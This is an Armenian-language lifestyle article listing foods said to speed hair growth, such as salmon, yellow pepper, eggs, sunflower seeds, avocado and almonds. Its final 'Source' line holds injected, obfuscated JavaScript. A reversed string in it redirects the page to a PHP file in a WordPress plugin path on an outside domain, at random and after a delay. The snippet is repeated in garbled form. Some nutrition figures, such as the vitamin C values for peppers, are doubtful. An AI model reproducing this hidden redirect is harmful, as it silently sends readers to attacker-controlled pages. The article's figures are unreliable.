Ի՞նչ ուտել, որպեսզի մազերը երկու անգամ ավելի արագ աճեն

Ձեր ուշադրությանն ենք ներկայացնում օգտակար մթերքներ, որոնք կօգնեն խթանել մազերի աճը։

Սաղմոն

Օմեգա-3, վիտամին D և սպիտակուցներ. մազերի ֆոլիկուլների համար գլխավոր նյութեր, որոմք պետք է ամեն օր հայտնվեն օրգանիզմում:

Դեղին բուլղարական պղպեղ

Պատահական չէ, որ նշում ենք պղպեղի գույնը։ Դեղին պղպեղի մեջ կա մեծ քանակությամբ վիտամին C (341 միլիգրամ, իսկ կարմիրում ՝ ընդամենը 63): Դա շատ կարևոր է մազերի աճի համար:

Ձու

Բիոտինը մազերի արագ աճի ևս մեկ կարևոր բաղադրիչ է: Բիոտինը հայտնաբերվում է դեղնուցի մեջ, իսկ սպիտակուցը, ընդհակառակը, կանխում է դրա կլանումը:

Արևածաղիկ

Արևածաղկի սերմերը հարուստ են E վիտամինով, այն պատասխանատու է ձեր մազերի առողջության, հարթության և ամրության համար:

Ավոկադո

Ավոկադոն խթանում է կոլագենի և էլաստինի արտադրությունը, բարելավում է գլխի և մազերի որակը։

Նուշ

Ձվի դեղնուցի նման, նուշը պարունակում է բիոտին, բայց ավելի մարսվող, թեև ավելի կալորիականությամբ: Օրը մի բուռը միանշանակ օգուտ կբերի:

Աղբյուր՝ $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-sest-chtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toby-volosy-nachali-rasti-v-dva-raza-bystree/” target=”_blank” rel=”noopener”>graziamagazine.ru